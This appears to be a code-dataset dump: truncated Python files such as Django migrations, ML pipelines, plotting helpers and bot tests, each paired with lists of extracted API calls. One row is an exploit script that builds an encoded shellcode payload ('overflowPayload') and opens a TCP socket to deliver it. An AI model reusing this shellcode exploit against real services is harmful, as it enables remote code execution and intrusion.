code stringlengths 21 1.03M | apis list | extract_api stringlengths 74 8.23M |
|---|---|---|
# Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
# python evaluate.py --crosslingual --src_lang en --tgt_lang es --src_emb data/wiki.en-es.en.vec --tgt_emb data/wiki.en-es.es.v... | [
"src.utils.initialize_exp",
"argparse.ArgumentParser",
"os.path.isfile",
"collections.OrderedDict",
"src.trainer.Trainer",
"src.evaluation.Evaluator",
"src.models.build_model"
] | [((556, 605), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Evaluation"""'}), "(description='Evaluation')\n", (579, 605), False, 'import argparse\n'), ((1969, 1999), 'os.path.isfile', 'os.path.isfile', (['params.src_emb'], {}), '(params.src_emb)\n', (1983, 1999), False, 'import os\n'), ... |
"""
Windows win32service class overloaded to run chalmers processes
This service will exit almost immediatly, all processes are
'daemonized' (win32 compatible) and the service will exit while
the processes are still running
"""
from chalmers.program import Program
from chalmers.windows.service_base import WindowsServi... | [
"chalmers.program.Program.find_for_user"
] | [((484, 507), 'chalmers.program.Program.find_for_user', 'Program.find_for_user', ([], {}), '()\n', (505, 507), False, 'from chalmers.program import Program\n')] |
import pandas
import matplotlib.pyplot as plt
import datetime
f = open('UNRATE.csv', 'r')
data = f.read()
rows = data.split('\n')
unrate=[]
for row in rows:
song=row.split(',')
unrate.append(song)
print(unrate)
xaxis=["2017/1/1","2017/2/1","2017/3/1","2017/4/1","2017/5/1","2017/6/1","2017/7/1","2017/8/1","20... | [
"matplotlib.pyplot.xticks",
"matplotlib.pyplot.show",
"datetime.datetime.strptime",
"matplotlib.pyplot.plot"
] | [((514, 539), 'matplotlib.pyplot.plot', 'plt.plot', (['date_time', 'data'], {}), '(date_time, data)\n', (522, 539), True, 'import matplotlib.pyplot as plt\n'), ((540, 563), 'matplotlib.pyplot.xticks', 'plt.xticks', ([], {'rotation': '(90)'}), '(rotation=90)\n', (550, 563), True, 'import matplotlib.pyplot as plt\n'), ((... |
#!/usr/bin/env python
# Author: b0yd
# Ex: AppJailLauncher.exe /outbound /key:flag.txt /port:4444 ConsoleApplication2.exe
from pwn import *
import sys
import binascii
#####
##Uncomment the following code to use BugId as the test harness while trying to catch crashes
#
#sBaseFolderPath = "C:\Users\user\Documents\GitHu... | [
"sys.exit"
] | [((4063, 4074), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (4071, 4074), False, 'import sys\n'), ((4538, 4549), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (4546, 4549), False, 'import sys\n'), ((5189, 5200), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (5197, 5200), False, 'import sys\n'), ((5746, 5757), '... |
from setuptools import setup, find_packages
DESCRIPTION = """
Route urls to file system templates in Django
See:
https://github.com/prestontimmons/django-filepages
"""
setup(
name="django-filepages",
version="2.0.0",
author="<NAME>",
author_email="<EMAIL>",
url="https://github.com/prestontimmon... | [
"setuptools.find_packages"
] | [((454, 469), 'setuptools.find_packages', 'find_packages', ([], {}), '()\n', (467, 469), False, 'from setuptools import setup, find_packages\n')] |
#!/usr/bin/python
#
# Copyright 2019 Polyaxon, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | [
"json.loads",
"polyaxon.tracking.is_managed.ensure_is_managed",
"os.getenv"
] | [((1142, 1161), 'polyaxon.tracking.is_managed.ensure_is_managed', 'ensure_is_managed', ([], {}), '()\n', (1159, 1161), False, 'from polyaxon.tracking.is_managed import ensure_is_managed\n'), ((1174, 1220), 'os.getenv', 'os.getenv', (['POLYAXON_KEYS_ARTIFACTS_PATHS', 'None'], {}), '(POLYAXON_KEYS_ARTIFACTS_PATHS, None)\... |
from app.model import CleannedTweet
from collections import Counter
from datetime import date, timedelta
from sqlalchemy import Date
def get_term_count():
"""
pre process and return terms count from a file of tweets.
Parm :
path: string : the path of the tweet files
return a dictionary of term an... | [
"app.model.CleannedTweet.created_at.cast",
"datetime.date.today",
"collections.Counter"
] | [((378, 387), 'collections.Counter', 'Counter', ([], {}), '()\n', (385, 387), False, 'from collections import Counter\n'), ((445, 480), 'app.model.CleannedTweet.created_at.cast', 'CleannedTweet.created_at.cast', (['Date'], {}), '(Date)\n', (474, 480), False, 'from app.model import CleannedTweet\n'), ((484, 496), 'datet... |
from random import randrange
sum = 0
while sum < 21:
print('You have', sum, 'points')
answer = input('Turn the card over? ')
if answer == 'yes':
card = randrange(2, 10)
print('You turn over', card)
sum = sum + card
elif answer == 'no':
break
else:
print('I do... | [
"random.randrange"
] | [((173, 189), 'random.randrange', 'randrange', (['(2)', '(10)'], {}), '(2, 10)\n', (182, 189), False, 'from random import randrange\n')] |
#!/usr/bin/env python
import unittest
from icecube import dataclasses
from I3Tray import I3Units
class TestI3ModuleGeo(unittest.TestCase):
def test_I3ModuleGeo(self):
module = dataclasses.I3ModuleGeo()
module.pos = dataclasses.I3Position(0,0,0)
module.orientation = dataclasses.I3Orientati... | [
"unittest.main",
"icecube.dataclasses.I3ModuleGeo",
"icecube.dataclasses.I3Position",
"icecube.dataclasses.I3Orientation",
"icecube.dataclasses.I3Direction"
] | [((1465, 1480), 'unittest.main', 'unittest.main', ([], {}), '()\n', (1478, 1480), False, 'import unittest\n'), ((191, 216), 'icecube.dataclasses.I3ModuleGeo', 'dataclasses.I3ModuleGeo', ([], {}), '()\n', (214, 216), False, 'from icecube import dataclasses\n'), ((238, 269), 'icecube.dataclasses.I3Position', 'dataclasses... |
# -------------------------------------------------------------------------------
# Created by ben_cheng-610 2021-05-05
# Extract vbox (visible body bbox) and convert to VOC xml format
# -------------------------------------------------------------------------------
# %%
import os
import cv2
from joblib import Par... | [
"joblib.delayed",
"pascal_voc_writer.Writer",
"cv2.imread",
"os.path.exists",
"joblib.Parallel",
"os.makedirs",
"tqdm.tqdm"
] | [((1170, 1211), 'cv2.imread', 'cv2.imread', (['f"""{src_img_dir}/{img_id}.jpg"""'], {}), "(f'{src_img_dir}/{img_id}.jpg')\n", (1180, 1211), False, 'import cv2\n'), ((1435, 1490), 'pascal_voc_writer.Writer', 'pascal_voc_writer.Writer', (['img_path', 'img_w', 'img_h', 'img_d'], {}), '(img_path, img_w, img_h, img_d)\n', (... |
import os
import pandas as pd
import nibabel as nib
import numpy as np
import keras
from scipy import ndimage
from sklearn.model_selection import train_test_split
'''ImageCLEF2021 data preprocessor and loader'''
# Preprocessing functions
##############################################
def read_nifti_file(filepath):
... | [
"scipy.ndimage.zoom",
"os.path.join",
"os.listdir",
"sklearn.model_selection.train_test_split",
"numpy.eye",
"numpy.random.permutation",
"numpy.moveaxis",
"scipy.ndimage.rotate",
"numpy.stack",
"nibabel.load",
"numpy.expand_dims"
] | [((377, 395), 'nibabel.load', 'nib.load', (['filepath'], {}), '(filepath)\n', (385, 395), True, 'import nibabel as nib\n'), ((1354, 1392), 'scipy.ndimage.rotate', 'ndimage.rotate', (['img', '(90)'], {'reshape': '(False)'}), '(img, 90, reshape=False)\n', (1368, 1392), False, 'from scipy import ndimage\n'), ((1430, 1501)... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | [
"logging.getLogger",
"tests.common.test_vector.ImpalaTestMatrix"
] | [((911, 947), 'logging.getLogger', 'logging.getLogger', (['"""base_test_suite"""'], {}), "('base_test_suite')\n", (928, 947), False, 'import logging\n'), ((1023, 1041), 'tests.common.test_vector.ImpalaTestMatrix', 'ImpalaTestMatrix', ([], {}), '()\n', (1039, 1041), False, 'from tests.common.test_vector import ImpalaTes... |
import matplotlib.pyplot as plt
from mpl_toolkits.axes_grid1 import make_axes_locatable
from matplotlib.path import Path
from matplotlib.patches import BoxStyle
from matplotlib.offsetbox import AnchoredText
import seaborn as sns
def plotting_style(grid=False):
"""
Sets the style to the publication style. To in... | [
"seaborn.set_style",
"mpl_toolkits.axes_grid1.make_axes_locatable",
"matplotlib.pyplot.rc"
] | [((1489, 1542), 'matplotlib.pyplot.rc', 'plt.rc', (['"""text.latex"""'], {'preamble': '"""\\\\usepackage{sfmath}"""'}), "('text.latex', preamble='\\\\usepackage{sfmath}')\n", (1495, 1542), True, 'import matplotlib.pyplot as plt\n'), ((1547, 1596), 'matplotlib.pyplot.rc', 'plt.rc', (['"""mathtext"""'], {'fontset': '"""s... |
from .core.registry import LspTextCommand
from .core.typing import Any, List, Tuple, cast
import sublime
import os
class SemanticToken:
__slots__ = ("region", "type", "modifiers")
def __init__(self, region: sublime.Region, type: str, modifiers: List[str]):
self.region = region
self.type = ty... | [
"os.path.splitext",
"sublime.status_message",
"sublime.set_clipboard"
] | [((413, 440), 'sublime.set_clipboard', 'sublime.set_clipboard', (['text'], {}), '(text)\n', (434, 440), False, 'import sublime\n'), ((467, 523), 'sublime.status_message', 'sublime.status_message', (['"""Scope name copied to clipboard"""'], {}), "('Scope name copied to clipboard')\n", (489, 523), False, 'import sublime\... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 13 01:10:11 2018
@author: Fall
"""
from twilio.rest import Client
# Your Account SID from twilio.com/console
account_sid = "AC906c242a0789f352f85a727fc63523ce"
# Your Auth Token from twilio.com/console
auth_token = "<KEY>"
client = Client(accoun... | [
"twilio.rest.Client"
] | [((307, 338), 'twilio.rest.Client', 'Client', (['account_sid', 'auth_token'], {}), '(account_sid, auth_token)\n', (313, 338), False, 'from twilio.rest import Client\n')] |
"""
Copyright 2022, the CVXPY authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | [
"unittest.skipUnless",
"cvxpy.Variable",
"cvxpy.sum_squares",
"cvxpy.Minimize",
"numpy.random.randn",
"os.path.exists",
"os.remove",
"numpy.random.seed",
"os.makedirs"
] | [((742, 820), 'unittest.skipUnless', 'unittest.skipUnless', (["('GUROBI' in INSTALLED_SOLVERS)", '"""GUROBI is not installed."""'], {}), "('GUROBI' in INSTALLED_SOLVERS, 'GUROBI is not installed.')\n", (761, 820), False, 'import unittest\n'), ((1181, 1198), 'numpy.random.seed', 'np.random.seed', (['(0)'], {}), '(0)\n',... |
#utils.py
# Contains general functions
import subprocess
import time
import filecmp
from shutil import copyfile
def monitor_output(path:str, success: str, failure: str, timeout: float) -> bool:
""" Monitors the contents of a file looking for success or failure string.
Returns True if success found, False if fail... | [
"shutil.copyfile",
"filecmp.cmp",
"subprocess.run",
"time.time"
] | [((354, 365), 'time.time', 'time.time', ([], {}), '()\n', (363, 365), False, 'import time\n'), ((692, 726), 'subprocess.run', 'subprocess.run', (["['sudo', 'reboot']"], {}), "(['sudo', 'reboot'])\n", (706, 726), False, 'import subprocess\n'), ((814, 864), 'shutil.copyfile', 'copyfile', (['"""config/hostapd"""', '"""/et... |
import subprocess
if __name__ == '__main__':
list_server = [
["pipenv", "run", "python", "scheduled_task.py"],
]
list_process = []
for server in list_server:
process = subprocess.Popen(server)
list_process.append(process)
for process in list_process:
process.wait(... | [
"subprocess.Popen"
] | [((203, 227), 'subprocess.Popen', 'subprocess.Popen', (['server'], {}), '(server)\n', (219, 227), False, 'import subprocess\n')] |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-08-24 17:28
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('huddle_board', '0009_siteconfiguration'),
]
operations = [
migrations.Remov... | [
"django.db.models.TextField",
"django.db.migrations.RemoveField"
] | [((304, 381), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""siteconfiguration"""', 'name': '"""board_password"""'}), "(model_name='siteconfiguration', name='board_password')\n", (326, 381), False, 'from django.db import migrations, models\n'), ((545, 680), 'django.db.models.TextF... |
from pipelines.base_pipeline import BasePipeline
from pipelines.unet.unet_architecture_paper import color_model
from pipelines.common_utils.lungmap_dataset import LungmapDataSet
from pipelines.unet.data_pipeline import unet_generators
from keras.callbacks import ModelCheckpoint
import os
from keras.models import load_m... | [
"numpy.where",
"cv2.cvtColor",
"pipelines.unet.data_pipeline.unet_generators",
"joblib.dump",
"pandas.DataFrame",
"pipelines.unet.unet_architecture_paper.color_model",
"matplotlib.pyplot.show",
"keras.models.load_model",
"cv_color_features.utils.generate_features",
"pipelines.common_utils.lungmap_... | [((1362, 1397), 'os.path.join', 'os.path.join', (['model_dir', 'model_name'], {}), '(model_dir, model_name)\n', (1374, 1397), False, 'import os\n'), ((1416, 1449), 'copy.deepcopy', 'copy.deepcopy', (['self.training_data'], {}), '(self.training_data)\n', (1429, 1449), False, 'import copy\n'), ((1692, 1738), 'sklearn.svm... |
"""
Copyright (c) 2016-present, Facebook, Inc.
All rights reserved.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree. An additional grant
of patent rights can be found in the PATENTS file in the same directory.
"""
# pylint: disable=protected... | [
"asyncio.new_event_loop",
"magma.subscriberdb.store.sqlite.SqliteStore",
"magma.subscriberdb.sid.SIDUtils.to_pb",
"magma.subscriberdb.store.cached_store.CachedStore"
] | [((762, 786), 'asyncio.new_event_loop', 'asyncio.new_event_loop', ([], {}), '()\n', (784, 786), False, 'import asyncio\n'), ((804, 848), 'magma.subscriberdb.store.sqlite.SqliteStore', 'SqliteStore', (['"""file::memory:"""'], {'loop': 'self.loop'}), "('file::memory:', loop=self.loop)\n", (815, 848), False, 'from magma.s... |
import numpy as np
import os
import sys
import tensorflow as tf
from sklearn import random_projection
import pickle
import sfaira
from sfaira.consts import AdataIdsSfaira
from sfaira.consts.utils import clean_id_str
def negll_nb(y_true, y_pred):
x = tf.convert_to_tensor(y_true, dtype="float32")
loc = tf.conv... | [
"tensorflow.convert_to_tensor",
"numpy.random.choice",
"tensorflow.clip_by_value",
"tensorflow.reduce_mean",
"sfaira.data.load_store",
"sfaira.train.TrainModelEmbedding",
"tensorflow.math.lgamma",
"sfaira.consts.AdataIdsSfaira",
"tensorflow.ones_like",
"numpy.random.seed",
"sfaira.consts.utils.c... | [((1663, 1680), 'numpy.random.seed', 'np.random.seed', (['(1)'], {}), '(1)\n', (1677, 1680), True, 'import numpy as np\n'), ((1694, 1759), 'sfaira.data.load_store', 'sfaira.data.load_store', ([], {'cache_path': 'data_path', 'store_format': '"""h5ad"""'}), "(cache_path=data_path, store_format='h5ad')\n", (1716, 1759), F... |
#!/usr/bin/env python3
from argparse import ArgumentParser
import ast
import astunparse
import pickle
import jedi
import tqdm
from core.extract_sklearn_api import (
APICollection,
APIClass,
APIClassParameter,
)
class UNKValue(object):
def __init__(self):
self.str_ = "UNK"
def __repr__(s... | [
"argparse.ArgumentParser",
"pickle.load",
"jedi.names",
"pdb.post_mortem",
"ast.parse",
"pickle.dump",
"astunparse.unparse"
] | [((3898, 3955), 'argparse.ArgumentParser', 'ArgumentParser', ([], {'description': '"""Extract calls and arguments"""'}), "(description='Extract calls and arguments')\n", (3912, 3955), False, 'from argparse import ArgumentParser\n'), ((4301, 4317), 'pickle.load', 'pickle.load', (['fin'], {}), '(fin)\n', (4312, 4317), Fa... |
import socket
import sys
overflowPayload = ("\xd9\xcc\xd9\x74\x24\xf4\x5a\xb8\x9f\xd0\x1b\xa1\x33\xc9\xb1"
"\x52\x31\x42\x17\x03\x42\x17\x83\x5d\xd4\xf9\x54\x9d\x3d\x7f"
"\x96\x5d\xbe\xe0\x1e\xb8\x8f\x20\x44\xc9\xa0\x90\x0e\x9f\x4c"
"\x5a\x42\x0b\xc6\x2e\x4b\x3c\x6f\x84\xad\x73\x70\xb5\x8e\x12"
"\xf2\xc4\xc2\xf4\xcb\x... | [
"sys.exit",
"socket.socket"
] | [((1687, 1736), 'socket.socket', 'socket.socket', (['socket.AF_INET', 'socket.SOCK_STREAM'], {}), '(socket.AF_INET, socket.SOCK_STREAM)\n', (1700, 1736), False, 'import socket\n'), ((1867, 1877), 'sys.exit', 'sys.exit', ([], {}), '()\n', (1875, 1877), False, 'import sys\n')] |
import collections
import itertools
import random
from copy import deepcopy
import Core.Atomic
class Complex:
def __init__(self, agents: list, compartment: str):
self.agents = agents
self.compartment = compartment
def __repr__(self):
return ".".join(sorted(list(map(str, self.agents))... | [
"copy.deepcopy",
"collections.Counter",
"itertools.product"
] | [((2230, 2262), 'collections.Counter', 'collections.Counter', (['self.agents'], {}), '(self.agents)\n', (2249, 2262), False, 'import collections\n'), ((2286, 2319), 'collections.Counter', 'collections.Counter', (['other.agents'], {}), '(other.agents)\n', (2305, 2319), False, 'import collections\n'), ((4141, 4168), 'ite... |
# Generated by Django 3.1.12 on 2021-07-03 11:50
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappa... | [
"django.db.models.ForeignKey",
"django.db.models.IntegerField",
"django.db.models.FloatField",
"django.db.models.ManyToManyField",
"django.db.migrations.swappable_dependency",
"django.db.models.TextField",
"django.db.models.AutoField",
"django.db.models.CharField"
] | [((303, 360), 'django.db.migrations.swappable_dependency', 'migrations.swappable_dependency', (['settings.AUTH_USER_MODEL'], {}), '(settings.AUTH_USER_MODEL)\n', (334, 360), False, 'from django.db import migrations, models\n'), ((570, 663), 'django.db.models.AutoField', 'models.AutoField', ([], {'auto_created': '(True)... |
# -*- coding: utf-8 -*-
"""
This file contains the GPR implementation
"""
import numpy as np
from scipy.optimize import minimize
from scipy.linalg import cholesky, cho_solve, solve_triangular
__author__ = "Aniket"
__copyright__ = "Aniket"
__license__ = "mit"
class GPR:
def __init__(self, kernel, optimizer='L-B... | [
"scipy.linalg.cholesky",
"numpy.eye",
"numpy.einsum",
"numpy.random.randn",
"numpy.sqrt",
"scipy.optimize.minimize",
"numpy.diag",
"numpy.zeros",
"numpy.diag_indices_from",
"numpy.log",
"scipy.linalg.cho_solve",
"numpy.dot"
] | [((534, 559), 'numpy.zeros', 'np.zeros', (['X_test.shape[0]'], {}), '(X_test.shape[0])\n', (542, 559), True, 'import numpy as np\n'), ((927, 956), 'scipy.linalg.cho_solve', 'cho_solve', (['(L, True)', 'y_train'], {}), '((L, True), y_train)\n', (936, 956), False, 'from scipy.linalg import cholesky, cho_solve, solve_tria... |
from bflib import units
from bflib.items import coins, listing
from bflib.items.tools.base import ClimbingTool, Tool
@listing.register_item
class GrapplingHook(Tool):
name = "Grappling Hook"
price = coins.Gold(2)
weight = units.Pound(4)
@listing.register_item
class IronSpike(Tool):
name = "Iron Spi... | [
"bflib.items.coins.Copper",
"bflib.items.coins.Silver",
"bflib.items.coins.Gold",
"bflib.units.Feet",
"bflib.units.Pound"
] | [((210, 223), 'bflib.items.coins.Gold', 'coins.Gold', (['(2)'], {}), '(2)\n', (220, 223), False, 'from bflib.items import coins, listing\n'), ((237, 251), 'bflib.units.Pound', 'units.Pound', (['(4)'], {}), '(4)\n', (248, 251), False, 'from bflib import units\n'), ((337, 352), 'bflib.items.coins.Copper', 'coins.Copper',... |
# coding: utf-8
import logging
import threading
from contextlib import contextmanager
from functools import wraps, update_wrapper, lru_cache
import json
from .authentication import worker_login_authentication
from .exceptions import ResponseException
from .response_code import ResultCode
from .response import fail
log... | [
"functools.lru_cache",
"logging.getLogger",
"functools.update_wrapper",
"json.loads",
"functools.wraps",
"threading.Lock"
] | [((326, 353), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (343, 353), False, 'import logging\n'), ((388, 404), 'functools.wraps', 'wraps', (['view_func'], {}), '(view_func)\n', (393, 404), False, 'from functools import wraps, update_wrapper, lru_cache\n'), ((2524, 2534), 'functools.wra... |
import argparse
import collections
import itertools
import os
import os.path
import regex as re
import unicodedata
import textwrap
import pandas as pd
import pdfplumber
import unidecode
import googletools
def _clean_str(value):
if pd.isna(value):
return ''
# uncurl all quotes
value = re.sub(r'[\... | [
"os.path.join",
"os.walk",
"regex.split",
"regex.search",
"pandas.isna",
"regex.sub",
"textwrap.indent",
"argparse.ArgumentParser",
"unidecode.unidecode",
"pandas.read_csv",
"regex.escape",
"googletools.sheets_service",
"collections.defaultdict",
"pdfplumber.open",
"unicodedata.normalize... | [((239, 253), 'pandas.isna', 'pd.isna', (['value'], {}), '(value)\n', (246, 253), True, 'import pandas as pd\n'), ((309, 347), 'regex.sub', 're.sub', (['"""[\\\\u2018\\\\u2019]"""', '"""\'"""', 'value'], {}), '(\'[\\\\u2018\\\\u2019]\', "\'", value)\n', (315, 347), True, 'import regex as re\n'), ((359, 397), 'regex.sub... |
# -*- coding: utf-8 -*-
import re
import pytest
from requests import codes
from flask import current_app
from acid.app import app
from acid.tests import IntegrationTestCase
from ...auth import service as auth_service
@pytest.mark.integration
@pytest.mark.zuul_manager
class TestControlPanel(IntegrationTestCase):
... | [
"acid.app.app.test_client",
"re.search"
] | [((553, 570), 'acid.app.app.test_client', 'app.test_client', ([], {}), '()\n', (568, 570), False, 'from acid.app import app\n'), ((985, 1002), 'acid.app.app.test_client', 'app.test_client', ([], {}), '()\n', (1000, 1002), False, 'from acid.app import app\n'), ((1876, 1913), 're.search', 're.search', (['pattern', 'rende... |
import time
import sys
import pygame
import _thread
import easygui as gui
import os
from pygame.locals import *
jd=0
p=True
down_bool=True
sleep_timer=False
Temp=True
lock=_thread.allocate_lock()
lock.acquire()
text=""
index=0
stop=False
answer={'answer':0.0,'que':False}
def question(quenum):
if... | [
"_thread.start_new_thread",
"os.system",
"pygame.image.load",
"pygame.quit",
"pygame.display.flip",
"pygame.display.set_mode",
"easygui.enterbox",
"pygame.event.get",
"pygame.mouse.get_pos",
"pygame.font.Font",
"sys.exit",
"_thread.allocate_lock",
"time.sleep",
"pygame.init"
] | [((184, 207), '_thread.allocate_lock', '_thread.allocate_lock', ([], {}), '()\n', (205, 207), False, 'import _thread\n'), ((860, 873), 'pygame.init', 'pygame.init', ([], {}), '()\n', (871, 873), False, 'import pygame\n'), ((909, 938), 'pygame.display.set_mode', 'pygame.display.set_mode', (['size'], {}), '(size)\n', (93... |
"""
HTTP request related code.
"""
import posixpath
import re
from six.moves.urllib.parse import urlparse
from .session import build_session
from .exceptions import HTTPError
_ipv4_re = re.compile(r"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$")
class HTTPClient(object):
... | [
"six.moves.urllib.parse.urlparse",
"posixpath.join",
"re.compile"
] | [((191, 299), 're.compile', 're.compile', (['"""^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"""'], {}), "(\n '^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'\n )\n", (201, 299), False, 'import re\n'), ((1098, 1113), 'six.moves.urllib.pa... |
from queue import Queue
from threading import Thread
import csv
import codecs
import logging
writer_queue = Queue() # job format: {"path": path, "line": ["some_url", "bla bla", "test123"]}
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
class Writer(Thread):
def __init__(self):
super... | [
"queue.Queue",
"logging.getLogger",
"csv.writer"
] | [((109, 116), 'queue.Queue', 'Queue', ([], {}), '()\n', (114, 116), False, 'from queue import Queue\n'), ((200, 227), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (217, 227), False, 'import logging\n'), ((847, 886), 'csv.writer', 'csv.writer', (['file'], {'quoting': 'csv.QUOTE_ALL'}), '... |
import os, pandas as pd
from bs4 import BeautifulSoup, Tag
# how csv data can turn into html table https://stackoverflow.com/questions/44320329/converting-csv-to-html-table-in-python?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa
def inject_frame_data(character):
'Injects frame data tabl... | [
"os.path.realpath",
"pandas.read_csv"
] | [((587, 648), 'pandas.read_csv', 'pd.read_csv', (['f"""{dir_path}/static/char_csvs2/{character}1.csv"""'], {}), "(f'{dir_path}/static/char_csvs2/{character}1.csv')\n", (598, 648), True, 'import os, pandas as pd\n'), ((660, 721), 'pandas.read_csv', 'pd.read_csv', (['f"""{dir_path}/static/char_csvs2/{character}2.csv"""']... |
from module import kelas
from lib import sql_to_dictionary
def auth(data):
if kelas.getKodeDosen(data[0]):
return True
else:
return False
def replymsg(driver, data):
kode_dosen=kelas.getKodeDosen(data[0])
tahun_angkatan=f'{data[1].split("-")[3]}1'
msgreply=f'haiyooooo mari mari ki... | [
"lib.sql_to_dictionary.fetchAllMode",
"module.kelas.dbConnectSiap",
"module.kelas.getKodeDosen"
] | [((84, 111), 'module.kelas.getKodeDosen', 'kelas.getKodeDosen', (['data[0]'], {}), '(data[0])\n', (102, 111), False, 'from module import kelas\n'), ((208, 235), 'module.kelas.getKodeDosen', 'kelas.getKodeDosen', (['data[0]'], {}), '(data[0])\n', (226, 235), False, 'from module import kelas\n'), ((807, 828), 'module.kel... |
from pathlib import Path
PROJECT_ROOT = Path("/home/goda/Undergraduate/capstone_design_base")
| [
"pathlib.Path"
] | [((41, 94), 'pathlib.Path', 'Path', (['"""/home/goda/Undergraduate/capstone_design_base"""'], {}), "('/home/goda/Undergraduate/capstone_design_base')\n", (45, 94), False, 'from pathlib import Path\n')] |
#!/usr/bin/env python3
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import numpy as np
#PLT Issue
image = mpimg.imread('images/test.jpg')
print('This image is: ',type(image),
'with dimensions:', image.shape)
ysize = image.shape[0]
xsize = image.shape[1]
color_select = np.copy(image)
regi... | [
"matplotlib.image.imread",
"numpy.copy",
"matplotlib.pyplot.imshow",
"matplotlib.pyplot.show"
] | [((128, 159), 'matplotlib.image.imread', 'mpimg.imread', (['"""images/test.jpg"""'], {}), "('images/test.jpg')\n", (140, 159), True, 'import matplotlib.image as mpimg\n'), ((301, 315), 'numpy.copy', 'np.copy', (['image'], {}), '(image)\n', (308, 315), True, 'import numpy as np\n'), ((332, 346), 'numpy.copy', 'np.copy',... |
import asyncio
import threading
def _get_event_loop() -> asyncio.AbstractEventLoop:
try:
# NOTE: do NOT remove those 2 lines. Otherwise everything just hangs because of incorrect loop being used
if threading.current_thread() is threading.main_thread():
return asyncio.get_event_loop_pol... | [
"asyncio.get_running_loop",
"asyncio.get_event_loop_policy",
"threading.main_thread",
"asyncio.new_event_loop",
"asyncio.set_event_loop",
"threading.current_thread"
] | [((358, 384), 'asyncio.get_running_loop', 'asyncio.get_running_loop', ([], {}), '()\n', (382, 384), False, 'import asyncio\n'), ((874, 898), 'asyncio.new_event_loop', 'asyncio.new_event_loop', ([], {}), '()\n', (896, 898), False, 'import asyncio\n'), ((907, 935), 'asyncio.set_event_loop', 'asyncio.set_event_loop', (['l... |
from distutils.core import setup
setup(
name='RainbowChain',
packages=['RainbowChain'],
license="MIT License",
version='0.1.5',
description='Implementing Middle Out (Indexing) to the Markov Chain',
author='<NAME>',
author_email='<EMAIL>',
url='https://github.com/Avery246813579/Python-Ra... | [
"distutils.core.setup"
] | [((34, 478), 'distutils.core.setup', 'setup', ([], {'name': '"""RainbowChain"""', 'packages': "['RainbowChain']", 'license': '"""MIT License"""', 'version': '"""0.1.5"""', 'description': '"""Implementing Middle Out (Indexing) to the Markov Chain"""', 'author': '"""<NAME>"""', 'author_email': '"""<EMAIL>"""', 'url': '""... |
import adafruit_ssd1306
from PIL import Image, ImageDraw, ImageFont
from random import randint
import RPi.GPIO as gpio
import digitalio
import time
import board
# define pins
gpio.setmode(gpio.BCM)
channel = 23
gpio.setup(channel, gpio.IN, pull_up_down=gpio.PUD_UP)
RESET_PIN = digitalio.DigitalInOut(board.D4)
i2c = b... | [
"PIL.ImageFont.truetype",
"RPi.GPIO.setmode",
"time.sleep",
"RPi.GPIO.input",
"RPi.GPIO.setup",
"board.I2C",
"adafruit_ssd1306.SSD1306_I2C",
"PIL.Image.new",
"PIL.ImageDraw.Draw",
"random.randint",
"digitalio.DigitalInOut"
] | [((176, 198), 'RPi.GPIO.setmode', 'gpio.setmode', (['gpio.BCM'], {}), '(gpio.BCM)\n', (188, 198), True, 'import RPi.GPIO as gpio\n'), ((212, 266), 'RPi.GPIO.setup', 'gpio.setup', (['channel', 'gpio.IN'], {'pull_up_down': 'gpio.PUD_UP'}), '(channel, gpio.IN, pull_up_down=gpio.PUD_UP)\n', (222, 266), True, 'import RPi.GP... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.23 on 2020-12-17 23:49
from __future__ import unicode_literals
import challenges.models
import django.contrib.postgres.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("challenges", "0074_add_default_meta_a... | [
"django.db.models.CharField",
"django.db.models.TextField"
] | [((556, 599), 'django.db.models.CharField', 'models.CharField', ([], {'blank': '(True)', 'max_length': '(50)'}), '(blank=True, max_length=50)\n', (572, 599), False, 'from django.db import migrations, models\n'), ((904, 943), 'django.db.models.TextField', 'models.TextField', ([], {'blank': '(True)', 'null': '(True)'}), ... |
from helper_bot.utils import is_number, is_time, markup_inline_keyboard
def test_is_number():
assert not is_number('string')
assert is_number(1)
def test_is_time():
assert is_time('23:56')
assert is_time('01/01/2000 00:00', date_format='%d/%m/%Y %H:%M')
assert not is_time('25:67')
assert not... | [
"helper_bot.utils.is_number",
"helper_bot.utils.is_time",
"helper_bot.utils.markup_inline_keyboard"
